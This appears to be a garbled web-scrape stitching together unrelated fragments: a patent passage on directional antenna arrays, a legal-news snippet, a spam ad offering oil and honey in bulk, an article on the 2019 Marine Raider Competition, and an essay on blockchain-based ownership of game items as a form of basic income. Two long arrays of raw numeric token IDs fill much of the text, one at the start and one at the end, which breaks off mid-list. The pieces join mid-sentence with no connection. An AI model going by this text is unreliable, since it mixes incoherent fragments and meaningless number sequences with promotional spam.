using narrow-beam antennas. In one case, multiple antennas, each producing a narrow beam, are arranged in a circular pattern so that their beams are contiguous and point radially outward. In another case, a single cylindrical array antenna is configured to form multiple beams which are contiguous and point radially outward. In both cases, each beam port of the antenna(s) is connected to a separate receiver, thus the system can exhibit the advantages of both good directional resolution and complete, simultaneous directional coverage. However, the disadvantage in this case is the high cost of the multiple receivers. Another class of prior art systems attempts to achieve omnidirectional coverage with a single
[ 3517, 4763, 3884, 327, 1880, 597, 1364, 2075, 323, 673, 5262, 1053, 920, 285, 513, 567, 272, 253, 12317, 15, 1623, 5080, 655, 13, 4072, 13, 253, 530, 15, 52, 15, 6413, 2111, 7169, 2278, 1051, 3062, 187, 187, 11, 3378, 43565, 13, 368, 1053, 626, 878, 281, 2794, 247, 4858, 16164, 281, 8722, 634, 1959, 34166, 5887, 376, 2395, 13, 285, 359, 476, 1056, 13991, 1754, 327, 634, 3198, 285, 6284, 15, 844, 588, 417, 1501, 2712, 327, 43565, 275, 634, 1416, 15, 2207, 13, 861, 598, 970, 634, 4579, 2953, 15, 21056, 8339, 187, 187, 1231, 5580, 4166, 3580, 285, 6313, 14795, 275, 10713, 13, 387, 247, 1077, 5272, 285, 8408, 6051, 4376, 15, 844, 403, 4704, 281, 5752, 776, 11349, 973, 15, 4923, 253, 13212, 273, 776, 7731, 310, 776, 4736, 15, 3166, 816, 581, 2136, 342, 441, 13, 285, 359, 9023, 368, 651, 1705, 896, 969, 15, 322, 1314, 3326, 76, 1051, 9067, 273, 826, 438, 494, 13212, 2, 537, 1992, 17358, 285, 896, 27, 380, 6247, 18671, 11605, 1334, 38692, 187, 187, 2374, 3978, 1249, 13, 34913, 432, 2439, 253, 18671, 17729, 457, 2714, 5871, 5085, 13037, 275, 8647, 2070, 5173, 2517, 13, 3729, 9756, 13, 281, 10078, 275, 253, 6247, 18671, 11605, 1334, 38692, 15, 187, 187, 25347, 6671, 13, 1016, 17224, 273, 2800, 946, 38322, 34913, 13, 29177, 323, 253, 18735, 273, 1146, 11941, 253, 4060, 273, 1682, 18671, 11605, 1334, 15, 380, 2800, 6671, 46156, 432, 253, 337, 296, 18671, 11605, 1334, 35843, 313, 18, 296, 11928, 35, 582, 374, 2109, 18671, 11605, 1334, 35843, 313, 19, 2109, 11928, 35, 582, 495, 5784, 18671, 11605, 1334, 35843, 313, 20, 5784, 11928, 35, 582, 253, 18671, 11605, 1334, 19036, 5197, 313, 46, 46490, 582, 285, 253, 374, 2109, 1720, 585, 34056, 35843, 13, 2975, 15, 187, 187, 1628, 510, 33272, 9904, 342, 253, 4757, 3058, 323, 690, 273, 253, 3394, 369, 581, 273, 253, 954, 2891, 272, 4243, 273, 253, 7324, 1806, 753, 247, 18671, 11605, 1334, 342, 253, 353, 46490, 2285, 13, 665, 671, 11029, 347, 271, 6803, 285, 5438, 313, 34, 7, 52, 10, 2659, 15034, 30498, 13, 275, 247, 3908, 281, 45183, 15782, 15, 773, 53, 11729, 281, 13870, 9361, 285, 1056, 2119, 359, 497, 11850, 48129, 4768, 253, 3394, 1223, 13383, 949, 512, 253, 913, 1041, 285, 31991, 369, 253, 954, 23198, 3405, 1699, 4809, 1425, 187, 187, 510, 5962, 5691, 273, 253, 7324, 369, 247, 1458, 14, 25430, 391, 1807, 14172, 268, 554, 11712, 342, 2710, 8892, 285, 5216, 15, 380, 6671, 574, 281, 2589, 4073, 9602, 13, 1517, 5250, 5216, 13, 15120, 555, 39774, 13, 41243, 1981, 275, 1503, 351, 14427, 2157, 17980, 19750, 13, 285, 18737, 3485, 15, 28786, 253, 2709, 3394, 13, 1016, 32048, 4824, 247, 391, 9984, 471, 27466, 247, 5927, 273, 5329, 12511, 13, 5043, 616, 11757, 3301, 15, 187, 187, 1628, 3039, 352, 2210, 281, 13828, 13, 776, 5962, 5691, 369, 4560, 10599, 673, 281, 6194, 1806, 2879, 253, 329, 7, 52, 2659, 15034, 30498, 432, 253, 353, 46490, 2285, 15, 773, 1231, 1694, 4352, 342, 690, 22414, 984, 273, 326, 13, 533, 359, 858, 776, 1682, 281, 13791, 342, 1016, 643, 285, 1361, 1016, 643, 949, 253, 3394, 1425, 187, 187, 1628, 39204, 275, 359, 497, 16764, 281, 320, 253, 22583, 2285, 1806, 753, 28150, 13187, 12324, 5744, 284, 432, 253, 374, 2109, 1720, 585, 34056, 35843, 2285, 15, 773, 42, 1158, 359, 2210, 562, 273, 253, 7394, 1512, 2266, 13, 534, 5876, 441, 18123, 984, 359, 3053, 281, 2740, 745, 247, 1652, 285, 755, 44317, 456, 13, 533, 9142, 13, 359, 497, 2104, 281, 1691, 776, 13846, 2366, 387, 1016, 2362, 285, 1361, 581, 1529, 755, 949, 253, 7881, 1425, 187, 187, 510, 18671, 11605, 1334, 38692, 310, 271, 7970, 2362, 17386, 407, 18671, 10396, 27037, 15755, 313, 46, 15286, 3231, 10, 342, 253, 4736, 273, 25243, 2158, 4049, 274, 6475, 466, 285, 5175, 253, 15942, 13789, 273, 697, 9158, 15, 353, 15286, 3231, 310, 2872, 2429, 281, 697, 7586, 946, 38322, 13896, 15, 2058, 2145, 1107, 1711, 13, 253, 3923, 556, 11372, 1142, 7881, 275, 21414, 28393, 982, 1128, 15617, 1561, 253, 18671, 17729, 285, 3345, 1128, 1171, 697, 11839, 285, 12510, 15, 2091, 4130, 310, 11771, 323, 39443, 35905, 13, 326, 16326, 457, 85, 3477, 15, 187, 187, 27260, 2460, 27, 9704, 1050, 4597, 8941, 26615, 10396, 24495, 29668, 4670, 285, 34913, 342, 337, 296, 18671, 11605, 1334, 15185, 35843, 2589, 4866, 281, 247, 8565, 272, 24380, 323, 247, 1698, 28036, 5926, 501, 1135, 314, 387, 18671, 17729, 15939, 3660, 17937, 19036, 5197, 13, 15454, 631, 13, 34280, 904, 3747, 608, 13, 4765, 15, 380, 4096, 273, 436, 3733, 369, 323, 8663, 10396, 24495, 285, 353, 15286, 3231, 281, 3157, 2220, 616, 6036, 3733, 5609, 15, 313, 54, 15, 52, 15, 18671, 17729, 7512, 407, 35463, 330, 446, 15, 7252, 775, 13464, 481, 1909, 4767, 1840, 13, 359, 3839, 5194, 342, 3619, 457, 84, 13650, 1905, 46458, 13, 326, 9790, 313, 395, 7826, 25866, 10, 273, 952, 588, 3517, 6233, 616, 3811, 12718, 432, 4882, 3492, 3958, 15, 309, 717, 1469, 281, 5645, 2007, 2220, 436, 2934, 285, 1804, 326, 27, 187, 187, 3546, 13623, 2032, 12851, 273, 2165, 2600, 778, 320, 247, 625, 16571, 2136, 1566, 685, 12259, 10054, 3773, 3587, 313, 21470, 14, 936, 14, 1993, 10, 187, 187, 11159, 320, 247, 625, 16571, 2136, 1566, 685, 12259, 10054, 3773, 3587, 313, 21470, 14, 936, 14, 1993, 10, 9225, 2821, 40178, 342, 2032, 12851, 556, 253, 2442, 281, 5115, 247, 2074, 6454, 347, 21312, 20233, 33224, 313, 54, 6159, 10, 187, 187, 9, 54, 6159, 10, 49164, 310, 253, 4619, 11319, 2424, 323, 436, 3368, 281, 9302, 187, 187, 5088, 20659, 4249, 187, 187, 18712, 187, 187, 5088, 12851, 310, 11410, 672, 3773, 452, 2120, 1453, 273, 253, 2600, 273, 616, 16791, 2793, 13, 1690, 616, 1323, 255, 1032, 13, 31302, 708, 6936, 13, 275, 14, 13197, 4957, 13, 8115, 13, 285, 643, 2840, 5904, 15, 1310, 247, 4760, 556, 2032, 12851, 273, 841, 4957, 13, 597, 403, 1959, 281, 2589, 512, 3510, 273, 19938, 342, 731, 1905, 4489, 13, 5580, 13, 3894, 13, 8845, 13, 5454, 13, 3966, 327, 1097, 3625, 285, 6561, 10169, 15, 20929, 943, 1014, 320, 1959, 281, 1395, 616, 4957, 432, 581, 2165, 715, 1529, 15, 187, 187, 688, 32392, 323, 388, 603, 13, 3619, 26295, 326, 1524, 1318, 588, 320, 5611, 715, 30355, 3066, 247, 5087, 14, 936, 14, 1993, 1566, 13, 17580, 2165, 22507, 13, 275, 271, 3434, 281, 6427, 1943, 6947, 398, 13, 588, 2075, 3773, 281, 10078, 275, 616, 7503, 20490, 3066, 20929, 6724, 1075, 496, 1154, 1644, 313, 3175, 2513, 481, 831, 651, 8069, 9569, 247, 11419, 14, 40744, 90, 281, 247, 2165, 13, 275, 534, 3773, 588, 452, 281, 7617, 27, 403, 597, 625, 7514, 342, 21337, 275, 14, 13197, 2600, 313, 30758, 10, 390, 22915, 4653, 2513, 313, 21107, 481, 187, 187, 47, 28147, 13, 4633, 3958, 651, 452, 247, 30868, 6186, 273, 3773, 15, 11578, 14, 3319, 408, 5820, 1905, 665, 403, 253, 954, 18439, 281, 6233, 247, 3811, 275, 7503, 27931, 1905, 651, 320, 8877, 281, 1132, 253, 1878, 4633, 3958, 984, 22507, 273, 4633, 3958, 651, 8968, 597, 642, 3356, 878, 281, 2075, 3773, 15, 187, 187, 2042, 654, 17, 15, 1099, 6, 273, 3773, 1056, 625, 685, 2716, 273, 512, 275, 14, 13197, 21754, 13, 840, 22507, 651, 760, 320, 15210, 400, 1025, 281, 2075, 247, 2176, 1180, 273, 3773, 281, 1132, 1919, 253, 1180, 273, 3773, 642, 3356, 3012, 16274, 849, 1199, 11784, 253, 2165, 15693, 15, 1310, 597, 2075, 1512, 1142, 3773, 13, 597, 588, 7168, 2583, 15, 187, 187, 23045, 398, 651, 8968, 247, 1127, 273, 48245, 6548, 275, 253, 5087, 14, 936, 14, 1993, 1566, 15, 733, 310, 13, 2299, 13, 760, 247, 1127, 273, 48245, 6548, 275, 253, 11419, 14, 40744, 90, 28, 417, 253, 275, 14, 13197, 6982, 13, 3139, 15, 6365, 1179, 453, 457, 84, 5405, 651, 1804, 326, 253, 275, 14, 13197, 6982, 651, 2686, 4035, 281, 2572, 275, 1318, 347, 625, 3773, 10078, 15, 187, 187, 510, 625, 3773, 13, 253, 625, 15018, 2226, 323, 275, 14, 13197, 4491, 285, 5454, 15, 2726, 2032, 12851, 13, 3773, 812, 6233, 247, 3811, 1293, 22128, 327, 253, 7830, 432, 247, 2014, 36409, 10726, 13, 751, 253, 2165, 22507, 15, 187, 187, 2042, 22507, 15616, 616, 2136, 1566, 594, 616, 11528, 1430, 8899, 8394, 366, 281, 253, 275, 14, 13197, 6982, 13, 840, 597, 651, 1620, 4352, 253, 1127, 273, 48245, 6548, 342, 1675, 281, 2608, 16253, 1905, 597, 812, 1756, 616, 2608, 14, 4793, 519, 2192, 4478, 360, 15, 1244, 604, 597, 497, 2104, 281, 8495, 616, 1566, 594, 3773, 2750, 2166, 432, 253, 3116, 273, 253, 275, 14, 13197, 6982, 13, 347, 973, 13, 840, 4212, 812, 1132, 616, 7583, 2165, 285, 6233, 247, 3811, 387, 253, 1072, 673, 15, 187, 187, 4041, 1332, 273, 17170, 12420, 949, 3116, 310, 407, 17690, 2032, 12851, 1561, 247, 2165, 15, 1310, 247, 4760, 9716, 271, 275, 14, 13197, 5382, 13, 824, 347, 247, 14228, 13, 253, 11803, 651, 4745, 6635, 11784, 15, 1292, 604, 326, 4760, 7777, 9633, 521, 390, 617, 14228, 13, 285, 604, 253, 2165, 8899, 275, 18395, 689, 673, 13, 840, 326, 4760, 651, 320, 2104, 281, 5580, 616, 14228, 387, 247, 1996, 3522, 1905, 6830, 323, 247, 11528, 15, 831, 651, 320, 10870, 281, 11280, 247, 1728, 275, 247, 43377, 2846, 15, 187, 187, 49649, 812, 11377, 275, 19461, 3510, 273, 6431, 15, 380, 14228, 7302, 13, 323, 1650, 13, 812, 8845, 253, 14228, 281, 643, 3773, 1223, 327, 18125, 390, 387, 789, 281, 6233, 16864, 6021, 15, 41486, 812, 25057, 841, 23261, 13, 347, 973, 13, 281, 19444, 23499, 6297, 281, 6635, 11784, 15, 6000, 673, 253, 14228, 310, 24191, 1905, 1014, 327, 6561, 10169, 1905, 597, 812, 4908, 247, 8723, 9801, 15, 20564, 13, 597, 812, 5206, 281, 760, 4908, 247, 9801, 604, 253, 4760, 15693, 247, 11528, 327, 253, 5454, 28, 604, 253, 14228, 27924, 323, 1679, 685, 352, 369, 8686, 13, 253, 6431, 310, 16481, 354, 10163, 80, 15, 9613, 253, 2165, 310, 8027, 13, 22507, 812, 1014, 873, 9255, 247, 1781, 13, 3367, 15917, 273, 41045, 281, 288, 351, 77, 13, 534, 651, 760, 2489, 9865, 604, 3773, 3407, 11947, 342, 352, 15, 380, 12420, 273, 2032, 12851, 20096, 1097, 3773, 285, 22507, 6635, 247, 11528, 2366, 672, 247, 2165, 5459, 275, 18395, 15, 187, 187, 49194, 20233, 33224, 187, 187, 18712, 187, 187, 2512, 403, 2710, 13991, 323, 849, 21312, 20233, 33224, 313, 54, 6159, 10, 812, 320, 9009, 13, 533, 275, 3762, 530, 6159, 310, 247, 1511, 273, 15519, 2086, 275, 534, 512, 5014, 273, 247, 1798, 6982, 390, 5948, 403, 7169, 247, 5927, 13, 49795, 16610, 15, 187, 187, 2042, 1698, 14, 3319, 2591, 5820, 403, 1469, 281, 3469, 2220, 3492, 3958, 347, 247, 3625, 2603, 273, 6021, 13, 840, 352, 310, 4409, 7296, 253, 4500, 273, 20864, 1633, 751, 247, 530, 6159, 1561, 247, 2165, 457, 84, 7503, 6982, 347, 247, 5122, 273, 24682, 3773, 457, 36424, 15, 187, 187, 20810, 13, 352, 457, 84, 2834, 281, 4271, 667, 1655, 13, 5164, 6667, 273, 530, 6159, 984, 597, 403, 4829, 512, 17697, 275, 690, 1039, 15, 380, 20829, 367, 47605, 10980, 310, 3164, 253, 954, 8530, 1650, 273, 247, 16293, 6021, 13, 17580, 512, 8811, 273, 20829, 403, 33075, 247, 3963, 7970, 2075, 483, 13, 534, 556, 644, 875, 370, 18, 13, 933, 285, 370, 19, 13, 933, 591, 807, 323, 253, 1390, 9976, 15, 380, 2583, 908, 281, 12215, 253, 3187, 3249, 432, 247, 2030, 6, 2891, 327, 253, 1375, 457, 84, 4166, 3275, 15, 496, 643, 3000, 13, 8811, 6233, 247, 43690, 1754, 327, 247, 29967, 7741, 15, 187, 187, 1147, 457, 84, 417, 4555, 247, 14121, 494, 16610, 323, 3095, 275, 247, 3715, 5674, 13, 533, 352, 310, 271, 1650, 273, 16293, 6021, 13, 23188, 15, 380, 3187, 556, 644, 275, 1659, 1580, 13563, 15, 187, 187, 1147, 310, 39189, 13, 840, 13, 281, 1333, 326, 530, 6159, 310, 4931, 247, 2372, 273, 247, 3731, 79, 8056, 15, 20829, 457, 84, 367, 47605, 10980, 310, 25711, 253, 954, 5547, 285, 20088, 3515, 2086, 326, 948, 17815, 1633 ]	soon receive direction on whether they must pay for time spent donning and doffing the gear. On February 19, 2013, the U.S. Supreme Court granted review...more *With LinkedIn, you don't need to create a separate login to manage your free JD Supra account, and we can make suggestions based on your needs and interests. We will not post anything on LinkedIn in your name. Or, sign up using your email address.Contact Information We sell oil products and pure honey in bulk, at a very reasonable and negotiable price. We are ready to serve our consumers well. Because the satisfaction of our customer is our goal. Do just one business with us, and we promise you would come back again. Smedrotek... Home of laudable satisfaction!..To Hell and back: The 2019 Marine Raider Competition On June 12, Marines from across the Marine Corps’ special operations units gathered in Camp Lejeune, North Carolina, to participate in the 2019 Marine Raider Competition. Six teams, each comprised of six spec ops Marines, competed for the glory of being awarded the title of best Marine Raider. The six teams hailed from the 1st Marine Raider Battalion (1st MRB), 2nd Marine Raider Battalion (2nd MRB), 3rd Marine Raider Battalion (3rd MRB), the Marine Raider Training Center (MRTC), and the 2nd Reconnaissance Battalion, respectively. “The endurance coupled with the strength needed for some of the events was one of the most taxing parts of the competition,” said a Marine Raider with the MRTC team, who also serves as an assessment and selection (A&S) land navigation instructor, in a statement to DVIDS. “Trying to pace ourselves and make sure we were maintaining hydration throughout the events while pushing through all the aches and pains was the most mentally straining aspect.” The biggest challenge of the competition was a 15-mile ruck march peppered with various tasks and tests. The teams had to conduct stress shooting, breaching tests, casualty evacuation, paddling in Zodiac inflatable boats, and rappelling. Throughout the multiple events, each competitor carried a rucksack weighing a minimum of 45 pounds, plus their combat load. “When it came to preparing, our biggest challenge was finding adequate time to train,” added the A&S land navigation instructor from the MRTC team. “We got hit with some penalties because of that, but we did our best to communicate with each other and help each other through the events.” “Going in we were expecting to be the fastest team,” said Sergeant Adam Terrazas from the 2nd Reconnaissance Battalion team. “I think we came out of the gate too strong, which affected us negatively because we started to break off a little and get dehydrated, but ultimately, we were able to put our minds together at each event and help one another get through the challenges.” The Marine Raider Competition is an annual event hosted by Marine Special Operations Command (MARSOC) with the goal of fostering camaraderie and testing the operational capabilities of its operators. MARSOC is young compared to its sister spec ops commands. At 13 years old, the command has faced many challenges in convincing skeptics—both within the Marine Corps and outside—of its utility and effectiveness. When everyone is competing for shrinking budgets, that ain’t easy. Feature image: Operational Detachment Alpha Special Forces Soldiers and Marines with 1st Marine Raider Support Battalion conduct movement to a Landing Zone for a low altitude drop resupply at Marine Corps Mountain Warfare Training Center, Bridgeport, Calif., Aug 5, 2018. The purpose of this training was for Army Special Forces and MARSOC to improve upon their joint training techniques. (U.S. Marine Corps photo by Lance Cpl. William Chockey).As stated above, we generally agree with Ed’s predictions —specifically, that millions (and potentially billions) of people will soon earn their living solely from playing video games. I am going to expand further upon this idea and suggest that: Enabling true ownership of game content may be a more viable business model than developers paying players directly (paid-to-play) may be a more viable business model than developers paying players directly (paid-to-play) Providing gamers with true ownership has the potential to achieve a similar outcome as Universal Basic Income (UBI) (UBI) Blockchain is the critical infrastructure required for this experiment to succeed True Ownership Definition True ownership is enabled when players have full control of the content of their gaming experience, including their avatars, XP & skills, in-game items, maps, and other customizations. If a player has true ownership of these items, they are free to conduct all types of commerce with them — buy, sell, share, rent, trade, etc on both primary and secondary markets. Player should even be free to import their items from one game into another. In Players for Hire, Ed predicts that real value will be introduced into gameplay via a paid-to-play model, whereby game designers, in an effort to attract big spenders, will pay players to participate in their virtual worlds via Player Retention Incentives (PRIs). This would effectively introduce a meta-economy to a game, in which players will have to decide: are they more concerned with consuming in-game content (playing) or earning PRIs (working). Naturally, popular games would have a surplus supply of players. Low-skill workers — who are the most desperate to earn a living in virtual economies — would be driven to play the least popular games because designers of popular games would realize they no longer need to pay players. If <0.25% of players make more than half of all in-game purchases, then designers would only be incentivized to pay a certain number of players to play until the number of players no longer significantly impacts how much revenue the game generates. If they pay too many players, they will lose money. Designers would realize a point of diminishing returns in the paid-to-play model. It is, however, only a point of diminishing returns in the meta-economy; not the in-game economy, itself. Metcalfe’s Law would suggest that the in-game economy would actually continue to increase in value as more players participate. The more players, the more possibilities exist for in-game industry and trade. With true ownership, players could earn a living without relying on the payment from a single centralized entity, like the game designers. If designers aligned their business model so their profitability grew proportionate to the in-game economy, then they would never hit the point of diminishing returns with respect to user adoption — they could grow their user-base ad infinitum. And if they were able to align their model so players benefitted from the growth of the in-game economy, as well, then users could play their favorite game and earn a living at the same time. One method of achieving alignment through growth is by enabling true ownership within a game. If a player purchased an in-game item, such as a sword, the studio would immediately generate revenue. But if that player truly owned his or her sword, and if the game grew in popularity over time, then that player would be able to sell their sword at a later date — possibly for a profit. This would be comparable to buying a home in a thriving city. Players could engage in endless types of exchange. The sword owner, for example, could rent the sword to other players while on vacation or at work to earn passive income. Publishers could leverage these exchanges, as well, to unlock countless mechanisms to generate revenue. Every time the sword is traded — even on secondary markets — they could extract a minimal fee. Alternatively, they could choose to only extract a fee if the player generates a profit on the trade; if the sword sells for less than it was bought, the exchange is cleared pro bono. Before the game is launch, designers could even set aside a large, personal reserve of loot to hodl, which would only become valuable if players began trading with it. The alignment of true ownership ensures both players and designers generate a profit together when a game increases in popularity. Universal Basic Income Definition There are various suggestions for how Universal Basic Income (UBI) could be implemented, but in theory UBI is a type of welfare program in which all participants of a particular economy or society are granted a minimum, unconditional wage. If low-skilled workers are going to depend upon video games as a primary source of income, then it is worth considering the option of installing something like a UBI within a game’s virtual economy as a mechanism of securing players’ futures. Unfortunately, it’s difficult to identify any current, functional examples of UBI because they are nearly all conditional in some way. The Alaska Permanent Fund is probably the most famous example of a guaranteed income, whereby all residents of Alaska are ensured a regular annual payout, which has been between $1,000 and $2,000 per year for the last decade. The money used to guarantee the fund comes from a 25% tax on the state’s oil production. In other words, residents earn a dividend based on a scarce resource. It’s not exactly a livable wage for someone in a developed nation, but it is an example of guaranteed income, nonetheless. The fund has been in place since 1982. It is tempting, then, to say that UBI is perhaps a bit of a misnomer. Alaska’s Permanent Fund is arguably the most successful and longest running program that simulates something
[ 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 1010, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 9471, 1884, 6, 10304, 24389, 6391, 313, 43687, 20174, 10, 369, 908, 323, 24389, 3560, 407, 577, 6806, 1458, 1222, 14841, 387, 5345, 3272, 36, 342, 1884, 6, 10304, 14841, 6391, 313, 43687, 20174, 481, 1198, 19432, 342, 1384, 12303, 35375, 2919, 13, 275, 253, 5928, 273, 7324, 313, 70, 15, 72, 15, 544, 1470, 15, 721, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 884, 6, 24389, 6391, 313, 681, 7334, 273, 884, 6, 830, 15320, 13, 884, 6, 1605, 633, 4011, 322, 5773, 366, 285, 374, 57, 322, 4061, 275, 5771, 339, 14, 14344, 1824, 10, 369, 908, 323, 13463, 24389, 13, 3560, 407, 374, 6806, 1884, 1222, 14841, 275, 1884, 6, 830, 15320, 13, 374, 57, 322, 4061, 13, 285, 470, 15, 18, 6, 39776, 14, 57, 2233, 13, 387, 2316, 3276, 15, 2635, 13, 846, 1264, 4864, 369, 1041, 342, 608, 57, 13575, 1647, 387, 2316, 3276, 13, 7118, 497, 10729, 342, 17442, 6391, 323, 1384, 2909, 13, 534, 369, 840, 7932, 407, 17442, 6391, 4508, 14496, 27336, 16094, 314, 13130, 4707, 45154, 313, 43687, 20174, 582, 1016, 387, 3925, 26130, 15, 2732, 581, 4964, 15685, 275, 253, 3644, 387, 2316, 3276, 13, 6714, 4707, 45154, 497, 5176, 407, 2620, 369, 1041, 342, 608, 57, 13575, 1647, 689, 581, 4964, 15, 40987, 369, 2879, 281, 253, 2626, 14841, 281, 5203, 15935, 15, 187, 187, 2214, 3530, 326, 2424, 760, 581, 3790, 273, 24389, 313, 70, 15, 72, 15, 544, 1470, 15, 608, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 38, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 9471, 24389, 23462, 497, 5176, 387, 436, 1127, 285, 7118, 497, 10877, 275, 23231, 66, 14, 16285, 313, 1047, 14, 23850, 14, 22, 28, 44207, 15317, 10, 285, 4934, 275, 253, 3644, 387, 577, 3272, 36, 1919, 6979, 15, 1198, 2709, 16334, 273, 24389, 13, 608, 57, 13575, 1647, 369, 7932, 342, 3270, 14, 934, 5250, 6391, 3951, 51, 1036, 3725, 313, 1235, 9831, 27989, 14, 37499, 8487, 854, 15, 17, 13, 7469, 9831, 22748, 13, 374, 57, 3528, 36, 13, 495, 9831, 308, 1102, 1004, 313, 6199, 374, 25085, 1012, 582, 470, 15, 25, 6, 399, 14, 40119, 313, 6199, 443, 1976, 1619, 582, 2233, 14, 8089, 21042, 17684, 511, 313, 6199, 330, 20, 15054, 582, 470, 15, 22, 5770, 16, 8316, 4051, 44612, 36519, 313, 6199, 443, 19, 14380, 10, 285, 470, 15, 2640, 530, 16, 8316, 9242, 10810, 511, 496, 46034, 49512, 2081, 313, 29166, 5208, 1731, 3953, 1228, 285, 3530, 497, 35014, 347, 2529, 2708, 15, 2732, 6979, 13, 3270, 14, 934, 5250, 6391, 369, 11974, 806, 342, 608, 57, 13575, 1647, 285, 840, 342, 337, 89, 26688, 511, 309, 6391, 313, 40375, 7543, 18146, 1619, 2874, 10, 275, 3325, 511, 1959, 1824, 15, 1294, 12133, 285, 388, 1311, 4707, 45154, 497, 840, 38780, 407, 495, 3038, 273, 15685, 342, 26688, 511, 309, 2900, 313, 19, 54, 16, 31550, 273, 253, 9548, 275, 337, 89, 6391, 10, 387, 5345, 3272, 36, 323, 495, 3038, 15, 24083, 13, 253, 3530, 497, 11974, 1264, 2069, 342, 638, 14, 7523, 1314, 1884, 6, 14841, 6391, 387, 5345, 3272, 36, 313, 7053, 767, 369, 1041, 323, 608, 1054, 1016, 285, 253, 2626, 14841, 323, 1458, 1054, 481, 8035, 3790, 273, 24389, 285, 388, 1311, 369, 840, 2684, 347, 2529, 1840, 15, 187, 187, 3351, 2977, 15, 1712, 52, 1093, 94, 187, 397, 187, 187, 10772, 4466, 3530, 497, 35014, 327, 247, 17250, 251, 32472, 15984, 28483, 11348, 17199, 342, 247, 1503, 46877, 577, 15, 19, 256, 5883, 2697, 6568, 313, 1898, 263, 481, 844, 908, 247, 3925, 57, 4166, 8103, 313, 18, 15, 21, 10566, 10, 285, 9288, 1384, 1182, 14, 296, 7305, 342, 470, 15, 22, 39436, 22735, 875, 731, 323, 1016, 1899, 15, 26598, 84, 497, 6777, 12718, 1754, 327, 40987, 5048, 281, 3693, 8492, 15, 33034, 7533, 13, 1690, 253, 5445, 2069, 13, 497, 4934, 253, 1072, 323, 512, 253, 4679, 7668, 13637, 1341, 15, 39218, 7118, 497, 35014, 2057, 13, 970, 1503, 1400, 374, 15, 20, 313, 11863, 11166, 582, 327, 247, 7728, 739, 418, 6955, 10695, 29478, 17199, 342, 247, 3387, 57, 313, 32462, 739, 337, 15, 19, 10566, 582, 1824, 34729, 8103, 2470, 1470, 15, 608, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 38, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 9471, 390, 13, 970, 30680, 46, 4048, 13, 327, 247, 17250, 251, 32472, 15984, 28483, 17199, 13, 13496, 342, 247, 714, 536, 462, 11415, 330, 6971, 14, 56, 24428, 1262, 3943, 313, 1898, 263, 10, 285, 271, 16133, 2648, 37, 6568, 313, 1898, 263, 891, 57, 251, 34809, 582, 970, 247, 3387, 57, 313, 39104, 251, 337, 15, 20, 10566, 10, 4166, 8103, 2470, 30155, 15, 721, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 1010, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 7547, 390, 247, 3925, 57, 313, 39104, 251, 337, 15, 21, 10566, 10, 4166, 8103, 2470, 1470, 15, 608, 39, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 380, 1072, 6979, 4758, 369, 908, 323, 2905, 3530, 281, 12454, 5301, 875, 3888, 15, 187, 187, 6586, 1783, 15, 1712, 52, 746, 94, 187, 11311, 187, 187, 30128, 497, 11742, 285, 5867, 970, 26572, 29317, 285, 401, 27520, 3951, 51, 2358, 18413, 7194, 407, 2840, 20477, 326, 403, 2130, 1060, 15, 1198, 894, 4466, 4679, 13, 4869, 7133, 12378, 273, 253, 9305, 3888, 497, 908, 275, 512, 6260, 15, 187, 187, 4118, 19655, 16977, 15, 1712, 52, 938, 94, 187, 187, 23083, 16977, 273, 15935, 285, 20200, 369, 2218, 8356, 275, 26572, 29317, 407, 19690, 285, 7887, 272, 273, 253, 3888, 15, 1723, 13, 253, 1543, 497, 13542, 36560, 281, 5416, 7200, 15, 19655, 16977, 273, 15935, 369, 2218, 1754, 327, 2057, 330, 7073, 2470, 18877, 337, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 4982, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 4982, 544, 20, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 4982, 544, 22, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 285, 616, 2905, 24864, 8442, 10, 390, 40987, 2470, 30155, 15, 577, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 4982, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 4982, 285, 544, 52, 25, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 883, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 7547, 5048, 15, 2091, 4623, 281, 253, 1783, 313, 70, 15, 72, 15, 323, 6733, 10426, 10, 30833, 48456, 15935, 497, 13542, 3636, 285, 5176, 432, 253, 1783, 15, 20049, 2670, 20200, 497, 2783, 281, 5663, 281, 247, 894, 604, 616, 4055, 48955, 342, 253, 6069, 26405, 273, 326, 894, 15, 187, 187, 4118, 4458, 2741, 6814, 15, 1712, 52, 1797, 94, 187, 187, 1145, 6642, 273, 14261, 7133, 13, 908, 323, 544, 18877, 577, 38, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 4982, 544, 22, 40, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 986, 21375, 41, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 4982, 544, 52, 19, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 544, 52, 1036, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 52, 1093, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 285, 544, 52, 25, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 21375, 805, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 986, 369, 2797, 407, 9554, 273, 12275, 26112, 689, 1016, 14261, 434, 8223, 15, 329, 625, 10799, 2557, 273, 14261, 7133, 3951, 51, 2090, 3725, 369, 908, 323, 544, 18877, 495, 37, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 986, 285, 544, 52, 24, 1084, 3871, 18, 910, 709, 14, 881, 568, 6962, 14, 4990, 4982, 534, 369, 1754, 